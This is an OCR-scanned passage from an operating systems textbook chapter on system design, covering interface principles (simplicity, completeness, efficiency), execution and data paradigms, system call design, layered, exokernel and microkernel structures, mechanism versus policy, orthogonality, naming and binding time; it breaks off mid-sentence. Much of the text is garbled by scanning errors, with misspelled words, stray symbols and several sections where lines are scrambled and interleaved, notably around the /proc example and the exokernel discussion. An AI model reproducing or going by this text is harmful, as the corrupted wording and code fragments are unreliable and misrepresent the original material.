In addition to the main system call interface, most operating systemS' have ad
ditional interfaces. For example, some programmers need to write device drivers 
to insert into the operating system. These drivers see certain features and can 
make certain procedUre calls. These features and calls also define an interface 
but a very different one from one application programmers see. All of these inter� 
faces must be carefully designed if the system is to succeed. 

13.2.1 Guiding Principles 

Are there any principles that can guide interface design? We believe there 
are. Briefly summarized, they are simplicity, completeness, and the ability to be 
implemented efficiently. 

Principle 1: Simplicity 

A simple interface is easier to understand and implement in a bug-free way. 
AU system designers should memorize this famous quote from the pioneer French 
aviator and writer, Antoine de St. Exupery: 

Perfection is reached not when there is no longer anything to add, but 
when there is no longer anything to take away. 

This principle says that less is better than more, at least in the operating sys
tem itself. Another way to say this is the KISS prinCiple: Keep It Simple, Stupid. 
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Principle 2: Completeness 

Of course, the interface must make it possible to do everything that the users 
need to do, that is, it must be complete. This brings us to another famous quote, 
this one from Albert Einstein: 

Everything should be as simple as possible, but 110 simpler. 

In other words, the operating system should do exactly what is needed of it and no 
more. If users need to store data, it must provide some mechanism for storing 
data. If users need to communicate with each other, the operating system has to 
provide a communication mechanism, and so on. In his 1991 Turing Award 

,
lec

ture, Fernando Corbato, one of the designers of CTSS and MULTICS, combmed 
the concepts of simplicity and completeness and said: 

First, it is important to emphasize the value of simplicity and elegance, 
for complexity has a way of compounding difficulties and as we have 
seen, creating mistakes. My definition of elegance is the achievement of a 
given functionality with a minimum oj mechanism and a maximum of clar
ity. 

The key idea here is minimum of mechanism. In other words, every f�ature, fun�
tion, and system call should carry its own weight. It should do one thmg and do It 
well. When a member of the design team proposes extending a system call or 
adding some new feature, the others should ask whether something awful wou�d 
happen if it were left out. If the answer is: "No, but somebody might �nd thlS 
feature useful some day," put it in a user-level library, not in the operatmg sys
tem even if it is slower that way. Not every feature has to be faster than a speed
ing bullet The goal is to preserve what Corbato called minimum of mechanism. 

Let us briefly consider two examples from my own experience: MINIX (Tan
enbaum and Woodhull, 2006) and Amoeba (Tanenbaum et aI., 1990). For all 
intents and purposes, MINIX has three system calls: send, receive, and sendrec. 
The system is structured as a collection of processes, with the memory manager, 
the file system, and each device driver being a separate schedulable process. To a 
first approximation, all the kernel does is schedule processes and handle message 
passing between them. Consequently, only two system calls are needed: send, to 
send a message, and receive, to receive one. The third call, sendrec, is simply an 
optimization for efficiency reasons to allow a message to be sent and the repl� to 
be requested with only one kernel trap. Everything else is done by requestmg 
some other process (e.g., the file system process or the disk driver) to do the work. 

Amoeba is even simpler. It has only one system cali: perfonn remote proce
dure calL This call sends a message and waits for a reply. It is essentially the 
same as MINIX' sendrec. Everything else is built on this one calL 
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Principle 3: Efficiency 

The th!rd guideline is efficiency of implementation. If a feature Or system call ca�not 
.
b.e Implemented effiCiently, it is probably not worth having. It should also be lOtUltively obvious to the programmer about how much a system call COsts. For example, UNIX programmers expect the Iseek system call to be cheaper than the read system call because the former just changes a pointer in memory while the �atter �erforrns disk I/o. If the intuitive costs are wrong, programmers will write InefficIent programs. 

13,2.2 Paradigms 

O�ce :te .goals have been established, the design can begin. A good starting place IS thInking about how the customers will view the system. One of the most important issues is how to make all the features of the system hang together well and present ��at i� often cal�ed architectural coherence. In this regard, it is important to dIStIngUIsh two kinds of operating system «customers." On the One .' hand, there are the users, who interact with application programs; on the other are the programmers,
. 
who write them. The fonner mostly deal with the GUI; the lat-ter mostly deal WIth the system call interface. If the intention is to have a single GU� that pervades the complete system, as in the Macintosh, the desikn should begms there. �f, on the other hand, the intention is to support many possible OUIs, such a� 10 UN!?" the system call interface should be designed first. Doing the OUI first IS essentIally a top-down design. The issues are what features it will have, how the user will interact with it, and how the system should be designed to support it. For example, if most programs display icons on the Screen and then wait for the user to click on one of them, this suggests an event-driven model for the Gu.I and probably also for the operating system. On the other hand, if the screen IS mostly full of text windows, then a model in which processes read from the keyboard is probably better. 

Do!ng the system call interface first is a bottom-up design. Here the issues are what kinds of features programmers in general need. Actually, not many special fea�ur� are �eeded to support a GUL For example, the UNIX windowing system, X, IS Just a bIg C program that does reads and writes on the keyboard, mouse, and screen. X
. 
was developed IQ�g after UNIX and did not require many changes to the operatmg system to get It to work. This experience validated the fact that UNIX was sufficiently complete. 

User Interface Paradigms 

For both th� GUI-Ievel interface and the system-call interface the most im
P?rtant aspect is having a good paradigm (sometimes called a me;aphor) to pro
VIde a way of looking at the interface. Many OUIs for desktop machines use the 



962 OPERATING SYSTEM DESIGN CHAP. 13 

WIMP paradigm that we discussed in Chap. 5. This paradigm uses �int-and
click, point-and-double-click, dragging, and other idioms throughout th� �nterface 
to provide an architectural coherence to the whole. Often there are addItional re
quirements for programs, such as having a menu bar with FILE, EDIT, and other 
entries, each of which has certain weU-known menu items. In this way, users who 
know one program can quickly learn another one. 

However the WIMP user interface is not the only possible one. Some palm
top compute� use a stylized handwriting interface. Dedicated multimedia de
vices may use a VCR-like interface. And of course, voice input has a completely 
different paradigm. What is important is not so much the paradign: chose�> but 
the fact that there is a single overriding paradigm that unifies the enUre user mter
face. 

Whatever paradigm is chosen, it is important that all application prograrn� use 
it Consequently, the system designers need to prcrvide libraries and tool kits t? 
application developers that give them access to procedures that ?r�duce the um
form look-and-feel. User interface design is very important, but It is not the s�b
ject of this book, so we will now drop back down to the subject of the operaung 
system interface. 

Execution Paradigms 

Architectural coherence is important at the user level, but equally important at 
the system call interface leveL Here it is frequently useful to distinguish ?etwe�n 
the execution paradigm and the data paradigm, so we will do both, startmg WIth 
the former. 

Two execution paradigms are widespread: algorithmic and event driven. The 
algorithmiC paradigm is based on the idea that a program is started to perfo.rm 
some function that it knows in advance or gets from its parameters. That function 
might be to compile a program, do the payroll, or fly an ai!plane t� San Francisco. 
The basic logic is hardwired into the code, with the program making system calls 
from time to time to get user input, obtain operating system services, and so on. 
This approach is outlined in Fig. 13-1(a). 

The other execution paradigm is the eVilnt 'ven paradigm of Fig. 13-1(b). 
Here the program performs some kind of i ion, for exam�le by displaying 
a certain screen, and then waits for the op g system to tell it about the first 
event. The event is often a key being struck or a mouse movement This design is 
useful for highly interactive programs. 

Each of these ways of doino business engenders its own programming style. . . . 
In the algorithmic paradigm, algorithms are central and the operatmg system IS 
regarded as a. service ?rovider. I� the �vent-driven paradigl1M.. the operating �ys
tern also provIdes servIces, but this role IS overshadowed by Bole as a coordma
tor of user activities and a generator of events that are consumed by processes. 
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main() 
( 

int 

init(); 
do_something( ); . 
read( ... ); 
do_something_else( ); 
write( ... ); 
keep_going{ ); 
exit(O); 

(a) 

INTERFACE DESIGN 

main{) 
( 

inH(); 

(b) 

while (geLmessage(&msg» { 
switch (msg.type) ( 

case 1 :  
case 2: 
case 3: . 

Figure 13·1. (a) Algorithmic code. (b) Event-driven code. 

Data Paradigms 
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The execution paradigm is not the only one exported by the operating system. 
An equally important one is the data paradigm. The key question here is how sys
tem structures and devices are presented to the programmer. In early FORTRAN 
batch systems, everything was modeled as a sequential magnetic tape. Card decks 
read in were treated as input tapes, card decks to be punched were treated as out
put tapes, and output for the printer was treated as an output tape. Disk files were 
also treated as tapes. Random access to a file was possible only by rewinding the 
tape corresponding to the file and reading it again. 

The mapping was done using job control cards like these: 

MOUNT(TAPE08, REEL781) 
RUN(INPUT, MYDATA, OUTPUT, PUNCH, TAPE08) 

The first card instructed the operator to go get tape reel 781 from the tape rack 
and mount it on tape drive 8. The second card instructed the operating system to 
run the just compiled FORTRAN program, mapping INPUT (meaning the card 
reader) to logical tape 1, disk file MYDATA to logical tape 2, the printer (called 
OUTPU1) to logical tape 3, the card punch (calle9- PUNCH) to logical tape 4. and 
physical tape drive 8 to logical tape 5. 

FORTRAl,{ had a syntax for reading and writing logical tapes. By reading 
from logical tape 1 ,  the program got card input. By writing to logical tape 3, out
put would later appear on the printer. By reading from logical tape 5, tape reel 
781 could be read in, and so on. Note that the tape idea was just a paradigm to 
integrate the card reader, printer, punch, disk files, and tapes. In this example, 
only logical tape 5 was a physical tape; the rest were ordinary (spooled) disk files. 
It was a primitive paradigm, but it was a start in the right direction. 
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Later came UNIX, which goes much further using the model of "everything is 
a file." Using this paradigm, a11 110 devices are treated as files and can be opened 
and manipulated as ordinary files. The C statements 

ld1 = open("1i1e1", O_RDWR); 
ld2 = open("ldevltty", O_RDWR)' 

open a true disk file and the user's terminal (keyboard + displ�y). Subsequ�nt 

fl'Jj and fl'd2 to read and write them, respectIvely. From t at statements can use a . h t . . 
pOint on, there is no difference between accessing the file and accessmg t e elffil-

nal except that seeks on the terminal afe not allowed. 
. , 

Not only does UNIX unify files and lIO devices, but It also allows other proc-

esses to be accessed over pipes as files. Furthermore, when m
,
apped files

!.! 
are

F,
suP

!
' 

. ' !  as though It were a l e. ma -ported a process can oet at Its own vlrtua memory 

ly, in �ersions of UNIX that support the /proc file system, the C statement 

ld3 = open("lprocI501", O_RDWR); 

allows the process to (try to) access process SOl 's memory for reading and writing 

using file descriptor fd3, something useful �or, say, a debugger.
. 

k 1'k b-Windows Vista ooes further still and tnes to make everythmg 100 1 e an 0 

ject Once a proces� has acquired a valid handle to a file, proces�, sema?hor�, 

maiibox, or other kernel object, it can perform operations on �t. :h1S :�ra�l���� 
even more general than that of UNIX and much more genera t an t a o  

TRAN. . h Unifying paradigms occur in other contexts as well. O�e of them IS wort. 
. , 

h . the Web The paradigm behind the Web IS that cyberspace IS mentlonmg ere. ' . . 
URL or clicking on full of documents, each of which has a URL. By typmg I� a

" " an entry backed by a URL, you get the document. In reality, many
. 

documents 

are not documents at all, but are generated by a progr� or sheil scr��t w��
D
: �; 

quest comes in. For example, when a user asks an onhne store or a l�t
.
O 

'nl a particular artist, the document is generated on-the-fly by a program, It certal Y 

did not exist before the query was made. . '  . 
We have now seen four cases: namely, everythmg IS a ta�e, file, object, or 

document. In all four cases, the intention is to unify dat�, devIces, and other re

sources to make them easier to deal with. Every operatmg system should have 

such a unifying data paradigm. 

13.2.3 The System Call Interface 

If one believes in Corbato's dictum of minimal mechanism, t�en the operating 
system should provide as few system calls as it can get 

.
aw

.
ay WIth, and ��ch one 

should be as simple as possible (but no simpler). A umfymg data paradltlm
. 
can 

play a major role in helping here. For example, if files, processes, II? dev
.
lces, 

and much more all look like files or objects, then they can all be read WIth a smgle 

T i 
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read system call. Otherwise it may be necessary to have separate ca1ls for 
read_file, read_proc, and read_tty, among others. 

In some cases, system calls may appear to need several variants, but it is often 
better practice to have one system call that handles the general case, with different 
library procedures to hide this fact from the programmers. For example, UNIX has 
a system call for overlaying a process virtual address space, exec. The most gen
eral call is 

exec(name, argp, envp); 

which loads the executable file name and gives it arguments pointed to by argp and environment variables pointed to by envp. Sometimes it is convenient to list the arguments explicitly, so the, library contains procedures that are called as fol
lows: 

execl(name, argO, arg1 , ... , argn, 0); 
execle(name, argO, ar91 , ... , argn, envp); 

All these procedures do is stick the arguments in an array and then call exec to do the work. This arrangement is the best of both worlds: a single straightforward system call keeps the operating system simple, yet the programmer gets the convenience of variolls ways to call exec. 
Of course, trying to have one call to handle every possible case can easily get out of hand. In UNIX creating a process requires two calls: fork followed by exec. The former has no parameters; the latter has three parameters. In contrast, the Win32 API call for creating a process, CreateProcess, has 10  parameters, one of which is a pointer to a structure with an additional 18  parameters. 
A long time ago, someone should have asked whether something awful bappen if some of these were left out. The truthful answer would have been in some cases programmers might have to do more work to achieve a particular effect, but the net result would have been a simpler, smaller, and more reliable operating system. Of course, the person proposing the 10 + 18  parameter version might have added: "But users like all these features." The rejoinder might have been they like systems that use little memory and never crash even more. Trade-offs between more functionality at the cost of more memory are at least visible and can 

be given a price tag (since the price of memory is known), However, it is hard to estimate the additional crashes per year some feature will add and whether the users would make the same choice if they knew the hidden price. This effect can be summarized in Tanenbaum's first law of software: 

Adding more code adds more bugs. 

Adding more features adds more code and thus adds more bugs. Programmers 
who believe adding new features does not add new bugs are either new to com
puters or believe the tooth fairy is out there watching over them. 
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Simplicity is not the only issue that comes out when designing system calls. 
An important consideration is Lampson's (1984) slogan: 

Don't hide power. 

If the hardware has an extremely efficient way of doing something, it should be 
exposed to the programmers in a simple way and not buried inside some other 
abstraction. The purpose of abstractions is to hide undesirable properties, not hide 
desirable ones. For example, suppose that the hardware has a special way to move 
large bitmaps around the screen (Le., the video RAM) at high speed. It would be 
justified to have a new system call to get at this mechanism, rather than just pro
vide ways to read video RAM into main memory and write it back again. The new 
call should just move bits and nothing else. If a system call is fast, users can al� 
ways build more convenient interfaces on top of it. If it is slow, nobody will use 
it. 

Another design issue is connection�oriented versus connectionless cans. The 
standard UNIX and Win32 system calls for reading a file are connection-oriented, 
like using the telephone. First you open a file, then you read it, finally you close 
it. Some remote file-access protocols are also connection-oriented. For example, 
to use FTP, the user first logs in to the remote machine, reads the files, and then 
logs out. 

On the other hand, some remote file-access protocols are connectionless. The 
Web protocol (HTTP) is connectionless, for example. To read a Web page_you 
just ask for it; there is no advance setup required (a TCP connection is required, 
but this is at a lower level of protocol; the HITP protocol for accessing the \Veb 
itself is connectionless). 

The trade�off between any connection�oriented mechanism and a connec
tionless one is the additional work required to set up the mechanism (e.g., open 
the file), and the gain from not having to do it on (possibly many) subsequent 
calls. For file I/O on a single machine, where the setup cost is low, probably the 
standard way (first open, then use) is the best way. For remote file systems, a case 
can be made both ways. 

Another issue relating to the system call interface is its Visibility. The list of 
POSIX-mandated system calls is easy to find. All UNIX systems support these, as 
well as a small number of other calls, but the complete list is always public. In 
contrast, Microsoft has never made the list of Windows Vista system calls public. 
Instead the Win32 API and other APIs have been made public, but these contain 
vast numbers of library calls (over 10,000) but only a small number are true sys
tem calls. The argument for making all the system calls public is that it lets pro
grammers know what is cheap (functions performed in user space) and what is ex� 
pensive (kernel calls). The argument for not making them public is that it gives 
the implementers the flexibility of changing the actual underlying system calls to 
make them better without breaking user programs. 
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13.3 IMPLEMENTATION 

Turnin
.
g away from the user and system call interfaces, let us now take a look 

at �ow to Implement an operating system. In the next eight sections we will ex
amme so�e general conceptual issues relating to implementation strategies. After 
that we WIll look at SOme low-level techniques that are often helpfuL 

13.3.1 System Structure 

Probably the first decision the implementers have to make is what the system 
s�ucture should be. We examined the main possibilities in Sec. 1.7, but will re
VIew them here. �n unstruc�ur�d monolithic design is really not a good idea, ex
cept maybe for a tmy operatmg system in, say, a refrigerator, but even there it is 
arguable. 

Layered Systems 

A reasonable approach that has been well established over the years is a lay
ered system. Dij�stra' s T�E system (Fig. 1-25) was the first layered operating 
system. UN� Wmdows VIsta also have a layered structure, but the layering in 
b�th ?f them IS more a way of trying to describe the system than a real guiding 
pnnclple that was used in building the system. 

For a new system, designers choosing to go this route should first very care
fully choose the layers .and define the functionality of each one. The bottom layer 
should always try to hlde the worst idiosyncracies of the hardware as the HAL 
do�s i� Fig. 1 1-7. Probably the next layer Should handle interr'upts, context 
swttchmg, and the MMU, so above this level the <.::ode is mostly machine indepen
dent: �?ov� this, different designers will have different tastes (and biases). One 
possIbIlIty IS to have layer 3 manage threads, including scheduling and interthread 
synchronization, as shown in Fig. 13-2. The idea here is that starting at layer 4 we 
have proper threads that are scheduled nonnally and synchronize usina a standard 
mechanism (e.g., mutexes). 

e 

In la�er � we might find the device drivers, each one running as a separate 
thread, �lth It� o:vn state, program counter, registers, and so on, possibly (but not 
necessarIly) wIthm the kernel address space. Such a design can greatly simplify 
the I/O structure because when an interrupt occurs, it can be converted into an 
unlo?k on a mutex and a call to the scheduler to (potentially) schedule the newly 
readIed thread that was blocked on the mutex. MINIX uses this approach, but in 
UNIX, Linux, and Windows Vista, the interrupt handlers run in a kind of no-man's 
l�nd, rather than as proper threads that can be scheduled, suspended, and the like. 
Smce. a huge amount of the complexity of any operating system is in the I/O, any 
techmque for making it more tractable and encapsulated is worth considering. 
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System call handler 

FHe system 1 I I Ale system m 
Virtual memory 

Driver 1 \ Driver 2\ "" � I lorivern 
Threads, thread schedullng, thread synch

ronization 

Interrupt handling, context switching, MMU 

Hide the low-level hardware 

Figure 13-2. One possible design for a modern layered operating system. 

to find virtual memory, one or more file sys-
Above layer 4, we would expect 

. t I memory is at a lower level than 
terns, and the system call handlers. If th\�r ua 

ed out, allowing the virtual mern
the file systems, then the block cache. canh r:;e real memory should be divided 
ory manager to dynamically determl�e 

1 °;00- the cache. Windows Vista works 
among user pages and kernel pages, me u 1 c> 

this way. 

Exokernels 

. '  n s stem designers, there is also �not�-
While layenng has Its supporters ,arno, g YeB ler et al 1995). Their VIew IS . 1 the OppOSIte View ng "' er camp that has precIse y 

S i t I 1984) This concept says that 
d t d argument ( a tzer e a ., · . . 

based on the en - o-en itself it is wasteful to do It m a 
if something has to be done by the user program , 

lower layer as well. . . f hat rinciple to remote file access. If a system is 
Consider an applIcation 0 t � 

't "t should arranoe for each file to be 
" d b ' 0- corrupted 10 tranSl , I to . fil worned about ata e!llo . . . nd the checksum stored along WIth the 1 e. 

checksummed at the time It IS wntten a 
k f m the source disk to the destination 

When a file is transferred over a ne
d
twor rO

d also recomputed at the receiving 
h k m is transferre , too, an 

process, the c e� su 
. . carded and transferred again. . 

end. If the two dIsagree, the file IS dIS . u a reliable network protocol since It 
This check is more accurate than usmt>ft are errors in the routers, and other 

d" k s memory errors, so w . 
also catch�s IS. error , . .  rs The end�to-end argument says that us�n? a 
errors beSIdes bIt transmISSIon erro . 

since the endpoint (the receIvmg 
reliable network pro�ocol is t�en n�e:i�e:�:��rrectness of the file. The only re.a


process) has enoug� mformatlon:o 

t 01 in this view is for efficiency, that IS, 
son for usinu a relIable networ pro oc . 
catching and

l;)
repairing transmission errors earher. 
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The end-to-end argument can be extended to almost all of the operating sys
tem. It argues for not having the operating system do anything that the user pro� 
gram can do itself. For example, why have a file system? Just let the user read 
and write a portion of the raw disk in a protected way. Of course, most users like 
having files, but the end�to-end argument says that the file system should be a li� 
brary procedure linked with any program that needs to use files. This approach al
lows different programs to have different file systems. This line of reasoning says 
that all the operating system should do is securely allocate resources (e.g., the 
CPU and the disks) among the competing users. The Exokernel is an operating 
system built according to the end-to-end argument (Engler et aI., 1995). 

Microkernel-Based Client�Server Systems 

A compromise between having the operating system do everything and the 
operating system do nothing is to have the operating system do a little bit. This 
design leads to a microkernel with much of the operating system running as user
level server processes, as illustrated in Fig. 13-3. This is the most modular and 
flexible of all the designs. The ultimate in flexibility is to have each device driver 
also run as a user process, fully protected against the kernel and other drivers, but 
even having the device drivers run in the kernel adds to the modularity . •  
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Ftgure 13·3. Client-server computing based on a microkemel. 

When the device drivers are in the kernel, they can access the hardware de
vice registers directly. When they are not, some mechanism is needed to provide 
this. If the hardware permits, each driver process could be given access to only 
those I/O devices it needs. For example, with memory-mapped I/O, each driver 
process could have the page for its device mapped in, but no other device pages. 
If the I/O port space can be partially protected, the correct. portion of it could be 
made available to each driver. 

Even if no hardware assistance is available, the idea can still be made to 
work. What is then- needed is a new system call, available only to device driver 
processes, supplying a list of (port, value) pairs. What the kernel does is flfst 
check to see if the process owns all the ports in the list. If so, it then copies the 
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COlTesponding values to the ports to initiate device I/O. A similar call can be used 
to read I/O ports in a protected way. 

This approach keeps device drivers from examining (and damaging) kernel 
data structures, which is (for the most part) a good thing. Au' analogous set of 
calls could be made available to allow driver processes to read and write kernel 
tables, but only in a controlled way and with the approval of the kerneL 

The main problem with this approach, and with microkemels in general, is the 
performance hit all the extra context switches cause. However, virtually all work 
on microkernels was done many years ago when CPUs were much slower. Nowa
days, applications that use every drop of CPU power and cannot tolerate a small 
loss of perfonnance are few and far between. After all, when runni�g a word 
processor or Web browser, the CPU is probably idle 95% of the lime. If a 
microkernel-based operating system turned an unreliable 3-GHz system into a 
reliable 2.S-GHz system, probably few users would complain. After all, most of 
them were quite happy only a few years ago when they got their previous com
puter at the then-stupendous speed of 1 GHz. 

It is noteworthy that while microkernels are not popular on the desktop, they 
are very widely used in cell phones, PDAs, industrial systems, embedded systems, 
and military systems, where high reliability is absolutely essential. 

Extensible Systems 

With the client-server systems discussed above, the idea was to remove as 
much out of the kernel as possible. The opposite approach is to put more modules 
into the kernel, but in a protected way. The key word here is protected, of course. 
We studied some protection mechanisms in Sec. 9.5.6 that were initially intended 
for importing applets over the Internet, but are equally applicable to inserting 
foreign code into the kerneL The most important ones are sandboxing and code 
signing, as interpretation is not really practical for kernel code. 

Of course, an extensible system by itself is not a way to structure an operating 
system. However, by starting with a minimal system consisting of little more than 
a protection mechanism and then adding protected modules to the kernel one at a 
time until reaching the functionality desired, a minimal system can be built for the 
application at hand. In this view, a new operating system can be tailored to each 
application by including only the parts it requires. Paramecium is an example of 
such a system (Van Doom, 2001). 

Kernel Threads 

Another issue relevant here no matter which structuring model is chosen is 
that of system threads. It is sometimes convenient to allow kernel threads to exist, 
separate from any user process. These threads can run in the background, writing 
dirty pages to disk, swapping processes between main memory and disk, and so 
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forth. In fact, the kernel itself ca� be structured entirely of such threads, so that 
when a user does a system call, Instead of the user's thread executing in kernel 
mode, the user's thread blocks and passes control to a kernel thread that takes 
over to do the work. 

In addition to kernel threads running in the baCkground, most operating sys
tems start up many daemon processes in the background. While these are not part 
?f the 

.
operati�g system, th�y often �erfonn "system" type activities. These might 

mcludmg gettmg and sendmg e-maIl and serving various kinds of requests for re
mote users, such as FrP and Web pages. 

13.3.2 Mechanism versus Policy 

. Another principle that help� architectural coherence, along with keeping 
thm?s small and we�l str�ctured, IS th�t of separating mechanism from policy. By 
puttmg the mechamsm. m the operatmg system and leaving the policy to user 
processes, the system Itself can be left unmodified, even if there is a need to 
�hange policy. Even if the policy module has to be kept in the kernel, it should be 
Isolated from the mechanism, if possible, so that changes in the policy module do 
not affect the mechanism module. 

To make the split between policy and mechanism clearer, let us consider two 
real-world examples. �s � f:rst example, consider a large company that has a 
payroll department, which IS m charge of paying the employees' salaries. It has 
computers, software, blank checks, agreements with banks, and more mechanism 
fo� actually payin? out the salaries. However, the policy-determining who gets 
paId how much-IS completely separate and is decided by management. The pay
roll department just does what it is told to do, 

As the second example, consider a restaurant. It has the mechanism for serv
ing dine�s, inc1u?ing tables, pla�es, waiters, a kitchen full of equipment, agree
ments wIth cr�dlt card compames, and so on. The policy is set by the chef, 
na�ely, �hat IS o� the menu, If the chef decides that tofu is out and big steaks 
are Ill, thIS new polIcy can be handled by the existing mechanism. 

No,: let us consider Some operating system examples. First, consider thread 
schedul�ng . . The kernel .could have a priority scheduler, with k priority levels. The 
mechamsm IS an array, mdexed by priority level, as is the case in UNIX and Win
dows Vista. Ea�h entry is the head of a list of ready threads at that priority leveL 
The �cheduler JUSt search�s �he array from highest priOrity to lowest priority, 
selectmg th� first threads It hIts. The policy is setting the priorities. The system 
m�y have dIfferent classes of users, each with a different priority, for example. It 
m�ght also allow user processes to set the relative priority of its threads. Priorities 
rmght be increased after completing I/O or decreased after using up a quantum. 
There are numerous other _policies that could be followed, but the idea here is the 
separation between setting policy and carrying it out. 
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A second example is paging. The mechanism involves MMU management, 
keeping lists of occupied pages and free pages, and code for shuttling pages to and 
from disk The policy is deciding what to do when a page fault occurs .. It coul.d be local or global, LRU-based or FIFO-based, or something else, but thiS algonthrn 
can (and should) be completely separate from the mechanics of actually managing 
the pages. 

A third example is allowing modules to be loaded into the kernel. The mech
anism concerns how they are inserted, how they are linked, what calls they can 
make, and what calls can be made on them. The policy is determining who is al
lowed to load a module into the kernel and which modules. Maybe only the super
user can load modules, but maybe any user can load a module that has been digi
tally signed by the appropriate authority. 

13.3.3 Orthogonality 

Good system design consists of separate concepts that can be combined inde
pendently. For example, in C there are primitive data types including inte?:rs, 
characters, and floating -point numbers. There are also mechanisms for combmmg 
data types, including arrays, structures, and unions. These ideas combine indep�n
dently, allowing arrays of integers, arrays of characters, structures and unIon 
members that are floating-point numbers, and so forth. In fact, once a new data 
type has been defined, such as an array of integers, it can be used. as if it we:� a 
primitive data type, for example as a member of a structure or a u�lOn. -r:he a�lhty 
to combine separate concepts independently is called orthogonalIty. It IS a dIrect 
consequence of the simplicity and completeness principles. . . ' The concept of orthogonality also occurs in operating systems m vanouS dIS
guises. One example is the Linux clone system can, which creates a new :hrea�. 
The call has a bitmap as a parameter, which allows the address space, working dI
rectory, file descriptors, and signals to be shared or copied individ�all�. If e.verything is copied, we have a new process, the same as fO

.
rk: If nothm� IS copIed, a 

new thread is created in the current process. However, It IS also possIble to create 
intermediate forms of sharing not possible in traditional UNIX systems. By 
separating out the various features and making them orthogonal, a finer degree of 
control is possible. 

Another use of orthogonality is the separation of the process concept from the 
thread concept in Windows Vista. A process is a container for resources, nothi�g 
more and nothing less. A thread is a schedulable entity. \Vhen one process IS 
given a handle for another process, it does not matter how many threads it has. 
When a thread is scheduled, it does not matter which process it belongs to. These 
concepts are orthogonal. . Our last example of orthogonality comes from UNIX. Process creatiOn there 
is done in two steps: fork plus exec. Creating the new address space and loading 
it with a new memory image are separate, allowing things to be done in between 
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(such as manipula�ng file descriptors). In Windows Vista, these two steps cannot 
be separated, that IS, the concepts of making a new address space and filling it in 
are not ort�ogonal there. The Linux sequence of clone plus exec is yet more Or
thogonal, SInce there are even more fine-grained building blocks available. As a 
general rule, having a small number of orthogonal elements that can be combined 
in many ways leads to a small, simple, and elegant system. 

13.3.4 Naming 

Most long-lived data structures used by an operating system have Some kind 
of name or identifier by which they can be referred. Obvious examples are lao-in 
names, file names, device names, process IDs, and so on. How these names :re 
�onstructed and managed is an important issue in system design and implementa
tIOn. 

. Names that w�re designed for human beings to use are character-string names 
m ASCII or Umcode and are usually hierarchical. Directory paths, such as 
lusllasllbookslmos2Ichap-12, are clearly hierarchical, indicating a series of direc
tories to search sta:tin� at the root: URLs �re also hierarchicaL For example, 
www.cs.vu.�l:-ast� mdlcates a speCIfic machme (www) in a specific department 
(cs) at speCIfic umversity (vu) in a specific country (nT). The part after the slash 
indicates a specific file on the designated machine, in this case, by cohvention, 
wwwlindex.html in ast's home directory. Note that URLs (and DNS addresses in 
general, including e-mail addresses) are "backward," starting at the bottom of the 
tree and going up, unlike file names, which start at the top of the tree and go 
dow? Another way of looking at this is whether the tree is written from the top 
startmg at the l�ft �nd going right or starting at the right and going left. 

Often nammg IS done at two levels: external and internaL For example, files 
always have a character-string name for people to use. In addition, there is almost 
always an internal name that the system uses. In UNIX, the real name of a file is 
its i-node number; the ASCII name is not used at all internally. In fact, it is not 
even unique, since a file may have multiple links to it. The analogous internal 
name i� Windows Vi�ta is the file's index in the MFr. The job of the directory is 
to proVIde the mappmg between the external name and the internal name as 
shown in Fig. 13-4. 

' 

In many cases (such as the file name example given above), the internal name 
is an un�igned integer that serves as an index into a kernel table. Other examples 
of table-mdex names are file descriptors in UNIX and object handles in Windows 
Vista. Note that neither of these has any external representation. They are strictly 
for USe by the system and running processes. In general, using table indices for 
transient names that are lost when the system is rebooted is a good idea. 

Operating systems often support multiple name spaces, both external and in
ternaL For �xample, �n Chap. 1 1  we looked at three external name spaces sup
ported by Wllldows VIsta: file names, Object names, and registry names (and there 
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External name: lusr/astibookslmos2lChap-12 
� c::'ry- lusr/astlbookslmos2 I-node table 

-" ::L 
Chap-10 114 7 

Chan-11 38 6 

Chap-12 2 - 5 
4 
3 

� 2 
./ Internal name: 2 

1 

Figure 13·4. Directories are used to map eXlernal names onto internal names. 

is also the Active Directory name space, which we did not look at). In addition, 
there are innumerable internal name spaces using unsigned integers, for example, 
object handles and MFf entries. Although the names in the external name spaces 
are all Unicode strings, looking up a file name in the registry will not work, just as 
using an MFf index in the Object table will not work. In a good design, consid
erable thought is given to how many name spaces are needed, what the syntax. of 
names is in each one, how they can be told apart, whether absolute and relatIve 
names exist, and so on. 

13.3.5 Binding Time 

As we have just seen, operating systems use various kinds of names to refer to 
objects. Sometimes the mapping between a name and an object is fixed, but some
times it is not. In the latter case, when-the name is bound to the object may mat
ter. In general, early binding is simple, but not flexible, whereas late binding is 
more complicated but often more flexible. 

To clarify the concept of binding time, let us look at some real-world ex
amples. An example of early binding is the practice of some colleges to allow 
parents to enroll a baby at birth and prepay the CUlTent tuition. When the student 
shows up 18 years later, the tuition is fully paid, no matter how high it may be at 
that moment. 

In manufacturing, ordering parts in advance and maintaining an inventory of 
them is early binding. In contrast, just-in-time manufacturing requires suppliers 
to be able to provide parts on the spot, with no advance notice required. This is 
late binding. 

Programming languages often support multiple binding times for variables. 
Global variables are bound to a particular virtual address by the compiler. This 

SEC. 13.3 IMPLEMENTATION 975 

exemplifies eady binding. Variables local to a procedure are assigned a virtual ad
dress (on the stack) at the time the procedure is invoked. This is intermediate 
binding. Variables stored on the heap (those allocated by maUoe in C Or new in 
Java) are assigned virtual addresses only at the time they are actually used. Here 
we have late binding. 

Operating systems often use early binding for most data structures, but occa
sionally use late binding for flexibility. Memory allocation is a case in point. 
Early multiprogramming systems on machines Jacking address relocation hard
ware had to load a program at some memory address and relocate it to run there. 
If it was ever swapped out, it had to be brought back at the same memory address 
or it would fail. In contrast, paged virtual memory is a form of late binding. The 
actual physical address corresponding to a given virtual address is not known until 
the page is touched and actually.. brought into memory. 

Another example of late binding is window placement in a GUI. In contrast 
to the early graphical systems, in which the programmer had to specify the abso
lute screen coordinates for all images on the screen, in modern GUIs, the software 
uses coordinates relative to the window's origin, but that is not determined until 
the window is put on the screen, and it may even be changed later. 

13.3.6 Static versus Dynamic Structures 

Operating system designers are constantly forced to choose between static and 
dynamic data structures. Static ones are always simpler to understand, easier to 
program, and faster in use; dynamic ones are more flexible. An obvious example 
IS the process table. Early systems simply allocated a fixed array of per-process 
structures. If the process table consisted of 256 entries, then only 256 processes 
could exist at any one instant. An attempt to create a 257th one would fail for 
lack of table space. Similar considerations held for the table of open files (both 
per user and system wide), and many other kernel tables. 

An alternative strategy is to build the process table as a linked list of mini
tables, initially just one. If this table fills up, another one is allocated from a glo
bal storage pool and linked to the first one. In this way, the process table cannot 
fill up until alI of kernel memory is exhausted. 

On the other hand, the code for searching the table becomes more complicat
ed. For example, the code for searching a static process table for a given PID, pid, 
